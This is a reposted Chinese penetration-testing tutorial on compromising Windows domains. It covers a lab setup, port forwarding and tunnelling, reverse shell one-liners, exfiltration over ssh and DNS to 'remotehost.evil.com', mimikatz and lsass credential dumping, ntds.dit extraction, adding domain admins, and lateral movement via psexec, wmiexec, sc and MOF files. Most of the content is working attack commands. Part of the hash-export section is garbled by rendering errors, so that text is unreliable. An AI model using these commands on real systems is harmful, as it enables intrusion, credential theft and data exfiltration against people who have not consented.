零基础学渗透技术,请看这边!

345 篇文章 2 订阅
345 篇文章 2 订阅

hello,你们的魔鬼小Kevin又来了。

一个可爱帅气机智的不正经号主

准时准点出现在每个你期待的夜晚

**文章来****源:**安全先师

域环境搭建

准备:

DC: win2008` `DM: win2003``DM: winxp

win2008(域控) 1、修改计算机名:

2、配置固定ip: 其中网关设置错误,应该为192.168.206.2,开始默认的网管

3、服务器管理器—角色:

4、配置域服务: dos下面输入dcpromo

Ps:这里可能会因为本地administrator的密码规则不合要求,导致安装失败,改一个强密码

5、设置林根域:林就是在多域情况下形成的森林,根表示基础,其他在此根部衍生 具体见:

http://angerfire.blog.51cto.com/198455/144123/

6、域数据存放的地址

win2003、winxp和08配置差不多

注意点是:1、配置网络 dns server应该为主域控ip地址

2、加入域控

域已经搭建完成,主域控会生成一个krbtgt账号 他是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证

参考:AD域环境的搭建 基于Server 2008 R2 http://www.it165.net/os/html/201306/5493.html Acitve Directory 域环境的搭建http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html

端口转发&&边界代理

此类工具很多,测试一两个经典的。

端口转发

1、windows lcx

监听1234端口,转发数据到2333端口``本地:lcx.exe -listen 1234 2333``   ``将目标的3389转发到本地的1234端口``远程:lcx.exe -slave ip 1234 127.0.0.1 3389

netsh 只支持tcp协议

添加转发规则``netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389``此工具适用于,有一台双网卡服务器,你可以通过它进行内网通信,比如这个,你连接192.168.206.101:3388端口是连接到100上面的3389``   ``删除转发规则``netsh interface portproxy delete v4tov4 listenport=9090``   ``查看现有规则``netsh interface portproxy show all``   ``xp需要安装ipv6``netsh interface ipv6 install

2、linux portmap

监听1234端口,转发数据到2333端口``本地:./portmap -m 2 -p1 1234 -p2 2333``   ``将目标的3389转发到本地的1234端口``./portmap -m 1 -p1 3389 -h2 ip -p2 1234

iptables

1、编辑配置文件/etc/sysctl.conf的net.ipv4.ip_forward = 1``   ``2、关闭服务``service iptables stop``   ``3、配置规则``需要访问的内网地址:192.168.206.101``内网边界web服务器:192.168.206.129``iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389``   ``iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129``   ``4、保存&&重启服务``service iptables save && service iptables start

socket代理 xsocks

1、windows

进行代理后,在windows下推荐使用Proxifier进行socket连接,规则自己定义

2、linux 进行代理后,推荐使用proxychains进行socket连接 kali下的配置文件:/etc/proxychains.conf 添加一条:socks5 127.0.0.1 8888

然后在命令前加proxychains就进行了代理

神器推荐

 `http://rootkiter.com/EarthWorm/`` 跨平台+端口转发+socket代理结合体!`

darksn0w师傅的推:ew_port_socket.zip

基于http的转发与socket代理(低权限下的渗透) 如果目标是在dmz里面,数据除了web其他出不来,便可以利用http进行

1、端口转发 tunna



1.  >端口转发(将远程3389转发到本地1234)
    
2.  >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v
    
3.  >
    
4.  >连接不能中断服务(比如ssh)
    
5.  >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s
    
6.  >
    
7.  >转发192.168.0.2的3389到本地
    
8.  >python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389
    


2、socks代理 reGeorg

python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081

ssh通道 http://staff.washington.edu/corey/fw/ssh-port-forwarding.html

1、端口转发



1.  本地访问127.0.0.1:port1就是host:port2(用的更多)
    
2.  ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发
    
3.    
    
4.  访问host:port2就是访问127.0.0.1:port1
    
5.  ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发
    
6.    
    
7.  可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
    
8.  ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,监听本地port
    
9.    
    
10.  可以将dmz_host的hostport端口转发到remote_ip的port端口
    
11.  ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip   #反向隧道,用于内网穿透防火墙限制之类
    


2、socks



1.  socket代理:
    
2.  ssh -qTfnN -D port remotehost
    


获取shell

常规shell反弹 几个常用:

1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1``2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'``3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

突破防火墙的imcp_shell反弹 有时候防火墙可能对tcp进行来处理,然而对imcp并没有做限制的时候,就可以来一波~ kali运行(其中的ip地址填写为目标地址win03):

win03运行:

icmpsh.exe -t kali_ip -d 500 -b 30 -s 128  

可以看到icmp进行通信的

Shell反弹不出的时候 主要针对:本机kali不是外网或者目标在dmz里面反弹不出shell,可以通过这种直连shell然后再通过http的端口转发到本地的metasploit

1、msfvenom -p windows/x64/shell/bind_tcp LPORT=12345 -f exe -o ./shell.exe``先生成一个bind_shell``   ``2、本地利用tunna工具进行端口转发``python proxy.py -u http://lemon.com/conn.jsp  -l 1111 -r 12345 v``   ``3、``use exploit/multi/handler``set payload windows/x64/shell/bind_tcp``set LPORT 1111``set RHOST 127.0.0.1

正向shell

1、nc -e /bin/sh -lp 1234``   ``2、nc.exe -e cmd.exe -lp 1234

信息收集(结构分析)

基本命令

1、获取当前组的计算机名(一般remark有Dc可能是域控):

C:\Documents and Settings\Administrator\Desktop>net view``Server Name            Remark``   ``-----------------------------------------------------------------------------``\\DC1``\\DM-WINXP``\\DM_WIN03``The command completed successfully.

2、查看所有域

C:\Documents and Settings\Administrator\Desktop>net view /domain``Domain``   ``-----------------------------------------------------------------------------``CENTOSO``The command completed successfully.

3、从计算机名获取ipv4地址

C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4``   ``Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:``   ``Reply from 192.168.206.100: bytes=32 time<1ms TTL=128``   ``Ping statistics for 192.168.206.100:``Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),``Approximate round trip times in milli-seconds:`    `Minimum = 0ms, Maximum = 0ms, Average = 0ms

Ps:如果计算机名很多的时候,可以利用bat批量ping获取ip

@echo off``setlocal ENABLEDELAYEDEXPANSION```@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (````@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (````@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j)```)``)

以下执行命令时候会发送到域控查询,如果渗透的机器不是域用户权限,则会报错



1.  The request will be processed at a domain controller for domain
    
2.  System error 1326 has occurred.
    
3.  Logon failure: unknown user name or bad password.
    


4、查看域中的用户名



1.  dsquery user
    
2.  或者:
    
3.  C:\Users\lemon\Desktop>net user /domain
    
4.    
    
5.  User accounts for \\DC1
    
6.    
    
7.  -------------------------------------------------------------------------------
    
8.  Administrator            Guest                    krbtgt
    
9.  lemon                    pentest
    
10.  The command completed successfully.
    


5、查询域组名称



1.  C:\Users\lemon\Desktop>net group /domain
    
2.    
    
3.  Group Accounts for \\DC1
    
4.    
    
5.  ----------------------------------------------
    
6.  *DnsUpdateProxy
    
7.  *Domain Admins
    
8.  *Domain Computers
    
9.  *Domain Controllers
    
10.  *Domain Guests
    
11.  *Domain Users
    
12.  *Enterprise Admins
    
13.  *Enterprise Read-only Domain Controllers
    
14.  *Group Policy Creator Owners
    
15.  *Read-only Domain Controllers
    
16.  *Schema Admins
    
17.  The command completed successfully.
    
18.    
    


6、查询域管理员



1.  C:\Users\lemon\Desktop>net group "Domain Admins" /domain
    
2.  Group name     Domain Admins
    
3.  Comment        Designated administrators of the domain
    
4.    
    
5.  Members
    
6.    
    
7.  -----------------------------------------------------------
    
8.  Administrator
    


7、添加域管理员账号



1.  添加普通域用户
    
2.  net user lemon iam@L3m0n /add /domain
    
3.  将普通域用户提升为域管理员
    
4.  net group "Domain Admins" lemon /add /domain
    


8、查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域



1.  C:\Documents and Settings\Administrator\Desktop>net config Workstation
    
2.  Computer name                        \\DM_WIN03
    
3.  Full Computer name                   DM_win03.centoso.com
    
4.  User name                            Administrator
    
5.    
    
6.  Workstation active on
    
7.  NetbiosSmb (000000000000)
    
8.  NetBT_Tcpip_{6B2553C1-C741-4EE3-AFBF-CE3BA1C9DDF7} (000C2985F6E4)
    
9.    
    
10.  Software version                     Microsoft Windows Server 2003
    
11.    
    
12.  Workstation domain                   CENTOSO
    
13.  Workstation Domain DNS Name          centoso.com
    
14.  Logon domain                         DM_WIN03
    
15.    
    
16.  COM Open Timeout (sec)               0
    
17.  COM Send Count (byte)                16
    
18.  COM Send Timeout (msec)              250
    


9、查看域控制器(多域控制器的时候,而且只能用在域控制器上)

net group "Domain controllers"  

10、查询所有计算机名称



1.  dsquery computer
    
2.  下面这条查询的时候,域控不会列出
    
3.  net group "Domain Computers" /domain
    


11、net命令



1.  >1、映射磁盘到本地
    
2.  net use z: \\dc01\sysvol
    
3.    
    
4.  >2、查看共享
    
5.  net view \\192.168.0.1
    
6.    
    
7.  >3、开启一个共享名为app$,在d:\config
    
8.  >net share app$=d:\config
    


12、跟踪路由

tracert 8.8.8.8  

定位域控

1、查看域时间及域服务器的名字



1.  C:\Users\lemon\Desktop>net time /domain
    
2.  Current time at \\DC1.centoso.com is 3/21/2016 12:37:15 AM
    


2、



1.  C:\Documents and Settings\Administrator\Desktop>Nslookup -type=SRV _ldap._tcp.
    
2.  *** Can't find server address for '_ldap._tcp.':
    
3.  DNS request timed out.
    
4.  timeout was 2 seconds.
    
5.  *** Can't find server name for address 192.168.206.100: Timed out
    
6.  Server:  UnKnown
    
7.  Address:  192.168.206.100
    
8.    
    
9.  *** UnKnown can't find -type=SRV: Non-existent domain
    


3、通过ipconfig配置查找dns地址

ipconfig/all  

4、查询域控

net group "Domain Controllers" /domain

端口收集

端口方面的攻防需要花费的时间太多,引用一篇非常赞的端口总结文章

端口号端口说明攻击技巧
21/22/69ftp/tftp:文件传输协议爆破\嗅探\溢出\后门
22ssh:远程连接爆破OpenSSH;28个退格
23telnet:远程连接爆破\嗅探
25smtp:邮件服务邮件伪造
53DNS:域名系统DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙
67/68dhcp劫持\欺骗
110pop3爆破
139samba爆破\未授权访问\远程代码执行
143imap爆破
161snmp爆破
389ldap注入攻击\未授权访问
512/513/514linux r直接使用rlogin
873rsync未授权访问
1080socket爆破:进行内网渗透
1352lotus爆破:弱口令\信息泄漏:源代码
1433mssql爆破:使用系统用户登录\注入攻击
1521oracle爆破:TNS\注入攻击
2049nfs配置不当
2181zookeeper未授权访问
3306mysql爆破\拒绝服务\注入
3389rdp爆破\Shift后门
4848glassfish爆破:控制台弱口令\认证绕过
5000sybase/DB2爆破\注入
5432postgresql缓冲区溢出\注入攻击\爆破:弱口令
5632pcanywhere拒绝服务\代码执行
5900vnc爆破:弱口令\认证绕过
6379redis未授权访问\爆破:弱口令
7001weblogicJava反序列化\控制台弱口令\控制台部署webshell
80/443/8080web常见web攻击\控制台爆破\对应服务器版本漏洞
8069zabbix远程命令执行
9090websphere控制台爆破:控制台弱口令\Java反序列
9200/9300elasticsearch远程代码执行
11211memcacache未授权访问
27017mongodb爆破\未授权访问

扫描分析

1、nbtscan 获取mac地址:

nbtstat -A 192.168.1.99  

获取计算机名\分析dc\是否开放共享

nbtscan 192.168.1.0/24  

其中信息:SHARING 表示开放来共享, DC 表示可能是域控,或者是辅助域控 U=user 猜测此计算机登陆名 IIS 表示运行来web80 EXCHANGE Microsoft Exchange服务 NOTES Lotus Notes服务

2、WinScanX 需要登录账号能够获取目标很详细的内容。其中还有snmp获取,windows密码猜解(但是容易被杀,nishang中也实现出一个类似的信息获取/Gather/Get-Information.ps1)

WinScanX.exe -3 DC1 centoso\pentest password -a > test.txt

3、端口扫描 InsightScan proxy_socket后,直接

proxychains python scanner.py 192.168.0.0/24 -N  

http://insight-labs.org/?p=981

内网文件传输

windows下文件传输

1、powershell文件下载 powershell突破限制执行:powershell -ExecutionPolicy Bypass -File .\1.ps1

$d = New-Object System.Net.WebClient``$d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")

2、vbs脚本文件下载

Set xPost\=createObject("Microsoft.XMLHTTP")  
xPost.Open "GET","http://192.168.206.101/file.zip",0  
xPost.Send()  
set sGet\=createObject("ADODB.Stream")  
sGet.Mode\=3  
sGet.Type\=1  
sGet.Open()  
sGet.Write xPost.ResponseBody  
sGet.SaveToFile "c:\\file.zip",2

下载执行:

cscript test.vbs  

3、bitsadmin win03测试没有,win08有

bitsadmin /transfer n http://lemon.com/file.zip c:\1.zip  

4、文件共享 映射了一个,结果没有权限写

net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword  

5、使用telnet接收数据

服务端:nc -lvp 23 < nc.exe``下载端:telnet ip -f c:\nc.exe

6、hta 保存为.hta文件后运行

<html\>  
<head\>  
<script\>  
var Object \= new ActiveXObject("MSXML2.XMLHTTP");  
Object.open("GET","http://192.168.206.101/demo.php.zip",false);  
Object.send();  
if (Object.Status \== 200)  
{  
    var Stream \= new ActiveXObject("ADODB.Stream");  
    Stream.Open();  
    Stream.Type \= 1;  
    Stream.Write(Object.ResponseBody);  
    Stream.SaveToFile("C:\\\\demo.zip", 2);  
    Stream.Close();  
}  
window.close();  
</script\>  
<HTA:APPLICATION ID\="test"  
WINDOWSTATE = "minimize"\>  
</head\>  
<body\>  
</body\>  
</html\>

linux下文件传输

1、perl脚本文件下载 kali下测试成功,centos5.5下,由于没有LWP::Simple这个,导致下载失败

#!/usr/bin/perl  
use LWP::Simple  
getstore("http://lemon.com/file.zip", "/root/1.zip");

2、python文件下载



1.  #!/usr/bin/python
    
2.  import urllib2
    
3.  u = urllib2.urlopen('http://lemon.com/file.zip')
    
4.  localFile = open('/root/1.zip', 'w')
    
5.  localFile.write(u.read())
    
6.  localFile.close()
    


3、ruby文件下载 centos5.5没有ruby环境



1.  #!/usr/bin/ruby
    
2.  require 'net/http'
    
3.  Net::HTTP.start("www.lemon.com") { |http|
    
4.  r = http.get("/file.zip")
    
5.  open("/root/1.zip", "wb") { |file|
    
6.  file.write(r.body)
    
7.  }
    
8.  }
    


4、wget文件下载



1.  wget http://lemon.com/file.zip -P /root/1.zip
    
2.  其中-P是保存到指定目录
    


5、一边tar一边ssh上传

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -" 

6、利用dns传输数据

tar zcf - localfolder | xxd -p -c 16 |  while read line; do host $line.domain.com remotehost.evil.com; done  

但是有时候会因为没找到而导致数据重复,对数据分析有点影响

其他传输方式

1、php脚本文件下载

<?php`        `$data = @file("http://example.com/file");`        `$lf = "local_file";`        `$fh = fopen($lf, 'w');`        `fwrite($fh, $data[0]);`        `fclose($fh);``?>

2、ftp文件下载

>**windows下**``>ftp下载是需要交互,但是也可以这样去执行下载``open host``username``password``bin``lcd c:/``get file``bye``>将这个内容保存为1.txt, ftp -s:"c:\1.txt"``>在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样``echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe  >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt``   ``>**linux下**``   ``>bash文件``ftp 127.0.0.1``username``password``get file``exit``   ``>或者使用busybox里面的tftp或者ftp``>busybox ftpget -u test -P test 127.0.0.1 file.zip

3、nc文件传输

服务端:cat file | nc -l 1234``下载端:nc host_ip 1234 > file

4、使用SMB传送文件 本地linux的smb环境配置

>vi /etc/samba/smb.conf``[test]``comment = File Server Share``path = /tmp/``browseable = yes``writable = yes``guest ok = yes``read only = no``create mask = 0755``>service samba start

下载端

net use o: \\192.168.206.129\test``dir o:

文件编译

1、powershell将exe转为txt,再txt转为exe nishang中的小脚本,测试一下将nc.exe转化为nc.txt再转化为nc1.exe ExetoText.ps1

[byte[]] $hexdump = get-content -encoding byte -path "nc.exe"``[System.IO.File]::WriteAllLines("nc.txt", ([string]$hexdump))

TexttoExe.ps1

[String]$hexdump = get-content -path "nc.txt"``[Byte[]] $temp = $hexdump -split ' '``[System.IO.File]::WriteAllBytes("nc1.exe", $temp)

2、csc.exe编译源码 csc.exe在C:\Windows\Microsoft.NET\Framework\的各种版本之下

csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs  

3、debug程序 hex功能能将hex文件转换为exe文件(win08_x64没有这个,win03_x32有,听说是x32才有这个)

思路:

  1. 把需要上传的exe转换成十六进制hex的形式``通过echo命令将hex代码写入文件(echo也是有长度限制的)``使用debug功能将hex代码还原出exe文件
    

ncc.txt的内容一条一条的在cmd下面执行,最后可以获取到123.hex、1.dll、nc.exe exe2bat不支持大于64kb的文件

hash抓取

hash简介 windows hash:

| | 2000 | xp| 2003 | Vista | win7 | 2008 | 2012 | |--------| | LM | √ | √ | √ | | NTLM | √ | √ | √ | √ | √ | √ | √|

前面三个,当密码超过14位时候会采用NTLM加密 test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248::: 前一部分是LM Hash,后一部分是NTLM Hash 当LM Hash是AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH

Hash一般存储在两个地方:SAM文件,存储在本机 对应本地用户 NTDS.DIT文件,存储在域控上 对应域用户

本机hash+明文抓取

1、Get-PassHashes.ps1

2、导注册表+本地分析 Win2000和XP需要先提到SYSTEM,03开始直接可以reg save 导出的文件大,效率低,但是安全(测试的时候和QuarkPwDump抓取的hash不一致)

reg save hklm\sam sam.hive``   ``reg save hklm\system system.hive``   ``reg save hklm\security security.hive

3、QuarkPwDump

QuarkPwDump.exe -dhl -o "c:\1.txt"

4、getpass本地账户明文抓取 闪电小子根据mimikatz写的一个内存获取明文密码

http://bbs.pediy.com/showthread.php?t=156643

win8+win2012明文抓取

修改一个注册表就可以抓取了

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1  

测试失败 工具:

https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1

域用户hash抓取

mimikatz 只能抓取登陆过的用户hash,无法抓取所有用户,需要免杀

1、本机测试直接获取内存中的明文密码

privilege::debug``sekurlsa::logonpasswords

2、非交互式抓明文密码(webshell中)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt  

3、powershell加载mimikatz抓取密码

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz  

4、ProcDump + Mimikatz本地分析 文件会比较大,低效,但是安全(绕过杀软) ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如dowm了08的,本地就要用08系统来分析)

远程:``Procdump.exe -accepteula -ma lsass.exe lsass.dmp``本地:``sekurlsa::minidump lsass.dump.dmp``sekurlsa::logonpasswords full

ntds.dit的导出+QuarkPwDump读取分析 无法抓取所有用户,需要免杀

这个方法分为两步:第一步是利用工具导出ntds.dit 第二步是利用QuarkPwDump去分析hash

1、ntds.dit的导出

  1. ntdsutil win2008开始DC中自带的工具

a.交互式



1.  snapshot
    
2.  activate instance ntds
    
3.  create
    
4.  mount xxx
    


做完后unmount然后需要再delet一下

b.非交互



1.  ntdsutil snapshot "activate instance ntds" create quit quit
    
2.  ntdsutil snapshot "mount {GUID}" quit quit
    
3.  copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
    
4.  ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
    


2、vshadow 微软的卷影拷贝工具

vshadow.exe -exec=%ComSpec% C:  

其中%ComSpec%是cmd的绝对路径,它在建立卷影后会启动一个程序,只有这个程序才能卷影进行操作,其他不能,比如这里就是用cmd.exe来的 最后exit一下

2、QuarkPwDump分析 https://github.com/quarkslab/quarkspwdump

  1. 在线提取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit  

  1. 离线提取 需要两个文件 ntds.dit 和 system.hiv 其中system.hiv可通过reg save hklm\system system.hiv获取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hiv  

3、实战中hash导出流程

1.建立ipcKaTeX parse error: Expected group as argument to '\c' at end of input: …net use \\DC1\c password /user:username2.复制文件到DCcopy .* \DC1\windows\tasks3.sc建立远程服务启动程序sc \DC1 create backupntds binPath= “cmd /c start c:\windows\tasks\shadowcopy.bat” type= share start= auto error= ignore DisplayName= BackupNTDS4.启动服务sc \DC1 start backupntds5.删除服务sc \DC1 delete backupntds6.讲hash转移到本地move \DC1\cKaTeX parse error: Undefined control sequence: \windows at position 1: \̲w̲i̲n̲d̲o̲w̲s̲\tasks\hash.txt…\windows\tasks\ntds.dit \DC1\cKaTeX parse error: Undefined control sequence: \windows at position 1: \̲w̲i̲n̲d̲o̲w̲s̲\tasks\QuarksPw…\windows\tasks\shadowcopy.bat \DC1\c$\windows\tasks\vshadow.exe`

注意的两点是:a.WORK_PATH和你拷贝的地方要相同

b.附件中的QuarkPwDump在win08上面运行报错,另外修改版可以,所以实战前还是要测试一下

vssown.vbs + libesedb + NtdsXtract 上面的QuarkPwDump是在win上面分析ntds.dit,这个是linux上面的离线分析 优点是能获取全部的用户,不用免杀,但是数据特别大,效率低,另外用vssown.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe读取

hash导出:

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

最后需要copy出system和ntds.dit两个文件



1.  c:\windows\system32\config\system
    
2.  c:\windows\ntds\ntds.dit
    


记得一定要delete快照!!!

cscript vssown.vbs /delete *  

本地环境搭建+分析:

libesedb的搭建:``wget https://github.com/libyal/libesedb/releases/download/20151213/libesedb-experimental-20151213.tar.gz``tar zxvf libesedb-experimental-20151213.tar.gz``cd libesedb-20151213/``./configure``make``cd esedbtools/``(需要把刚刚vbs脱下来的ntds.dit放到kali)``./esedbexport ./ntds.dit``mv ntds.dit.export/ ../../``   ``ntdsxtract工具的安装:``wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip``unzip ntdsxtract_v1_0.zip``cd NTDSXtract 1.0/``(需要把刚刚vbs脱下来的SYSTEM放到/root/SYSTEM)``python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'

ntdsdump

laterain的推荐:

http://z-cg.com/post/ntds_dit_pwd_dumper.html

是zcgonvh大牛根据quarkspwdump修改的,=。=,没找到和QuarkPwDump那个修改版的区别 获取ntds.dit和system.hiv之后(不用利用那个vbs导出,好像并不能分析出来)

利用powershell(DSInternals)分析hash 查看powershell版本:

$PSVersionTable.PSVersion``看第一个Major``或者``Get-Host | Select-Object Version

Windows Server 2008 R2默认环境下PowerShell版本2.0,应该升级到3.0版本以上,需要.NET Framework 4.0

需要文件:

ntds.dit(vshadow获取)``system(reg获取)

执行命令:

允许执行脚本:``Set-ExecutionPolicy Unrestricted``   ``导入模块(测试是win2012_powershell ver4.0):``Import-Module .\DSInternals``(powershell ver5.0)``Install-Module DSInternals``   ``分析hash,并导出到当前目录的hash.txt文件中``1、$key = Get-BootKey -SystemHivePath 'C:\Users\administrator\Desktop\SYSTEM'``2、Get-ADDBAccount -All -DBPath 'C:\Users\administrator\Desktop\ntds.dit' -BootKey $key | Out-File hash.txt

c这个只是离线分析了ntds.dit文件,其实也可以在线操作,=。=,不过感觉实战中遇到的会比较少,毕竟现在主流是win08为域控(以后这个倒不失为一个好方法)

远程连接&&执行程序

at&schtasks 需要开启Task Scheduler服务 经典流程:

1、进行一个连接``net use \\10.10.24.44\ipc$ 密码 /user:账号``   ``2、复制本地文件到10.10.24.44的share共享目录(一般是放入admin$这个共享地方(也就是c:\winnt\system32\),或者c$,d$)``copy 4.bat \\10.10.24.44\share``   ``3、查看10.10.24.44服务器的时间``net time \\10.10.24.44``   ``4、添加at任务执行``at \\10.10.24.44 6:21 \\10.10.24.44\share\4.bat``这个6:21指的是上午的时间,如果想添加下午的,则是6.21PM``   ``5、查看添加的所有at任务列表(如果执行了得,就不会显示)``at \\10.10.24.44

其他命令:

查看所有连接``net use``删除连接``net use \\10.10.24.44\share /del``   ``映射共享磁盘到本地``net use z: \\IP\c$ "密码" /user:"用户名"``删除共享映射``net use c: /del``net use * /del

at过去后如果找不到网络路径,则判断是目标主机已禁用Task Scheduler服务

psexec 第一次运行会弹框,输入–accepteula这个参数就可以绕过

psexec.exe \\ip –accepteula -u username -p password program.exe  

另外两个比较重要的参数

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)``-d 不等待程序执行完就返回``比如想上传一个本地的getpass到你远程连接的服务器上去:``Psexec.exe \\ip –u user –p pass –c c:\getpass.exe –d

另外学习一波pstools的一些运用:

http://blog.csdn.net/sysprogram/article/details/13001781

如果出现找不到网络名,判断目标主机已禁用ADMIN$共享

wmic net use后:

copy 1.bat \\host\c$\windows\temp\1.bat``   ``wmic /node:ip /user:test /password:testtest process call create c:\windows\temp\1.bat

ps: 如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题 如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

wmiexec.vbs

1、半交互模式``cscript.exe //nologo wmiexec.vbs /shell ip username password``2、单命令执行``cscript.exe wmiexec.vbs /cmd ip username password "command"``3、wce_hash注入``如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash``wce -s hash``cscript.exe //nologo wmiexec.vbs /shell ip

wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一下vbs里面的名字就好:Const FileName = "wmi1.dll",也可以加入-persist参数(后台运行)

另外有一个uac问题 非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC ERROR: Access is denied 需要在win08或者2012上面执行,然后才可以连接:

cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f  

smbexec 这个可以根据其他共享(c 、 i p c 、ipc ipc)来获取一个cmd

先把execserver.exe复制到目标的windows目录下,然后本机执行``test.exe ip user pass command sharename

powershell remoting 感觉实质上还是操作wmi实现的一个执行程序

https://github.com/samratashok/nishang/blob/5da8e915fcd56fc76fc16110083948e106486af0/Shells/Invoke-PowerShellWmi.ps1

SC创建服务执行 一定要注意的是binpath这些设置的后面是有一个空格的

1、系统权限(其中test为服务名)``sc \\DC1 create test binpath= c:\cmd.exe``sc \\DC1 start test``sc \\DC1 delete test``   ``2.指定用户权限启动``sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test``sc \\DC1 start test

schtasks schtasks计划任务远程运行

命令原型:``schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?``   ``For example:``schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System``schtasks /run /tn foobar /S host``schtasks /F /delete /tn foobar /S host

验证失败:win03连到08,xp连到08,xp连到03(但是并没有真正的成功执行,不知道是不是有姿势错了)

SMB+MOF || DLL Hijacks 其实这个思路一般都有用到的,比如在mof提权(上传mof文件到c:/windows/system32/wbem/mof/mof.mof)中,lpk_dll劫持 不过测试添加账号成功…执行文件缺失败了



1.  #pragma namespace("\\\\.\\root\\subscription")
    
2.    
    
3.  instance of __EventFilter as $EventFilter
    
4.  {
    
5.  EventNamespace = "Root\\Cimv2";
    
6.  Name  = "filtP2";
    
7.  Query = "Select * From __InstanceModificationEvent "
    
8.  "Where TargetInstance Isa \"Win32_LocalTime\" "
    
9.  "And TargetInstance.Second = 5";
    
10.  QueryLanguage = "WQL";
    
11.  };
    
12.  instance of ActiveScriptEventConsumer as $Consumer
    
13.  {
    
14.  Name = "consPCSV2";
    
15.  ScriptingEngine = "JScript";
    
16.  ScriptText =
    
17.  "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin adminaz1 /add\")";
    
18.  };
    
19.  instance of __FilterToConsumerBinding
    
20.  {
    
21.  Consumer   = $Consumer;
    
22.  Filter = $EventFilter;
    
23.  };
    


PTH + compmgmt.msc

如侵权请私聊公众号删文

本文转自 https://mp.weixin.qq.com/s/NgiPOgJI28bj_XlKKnuF5Q,如有侵权,请联系删除。

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]


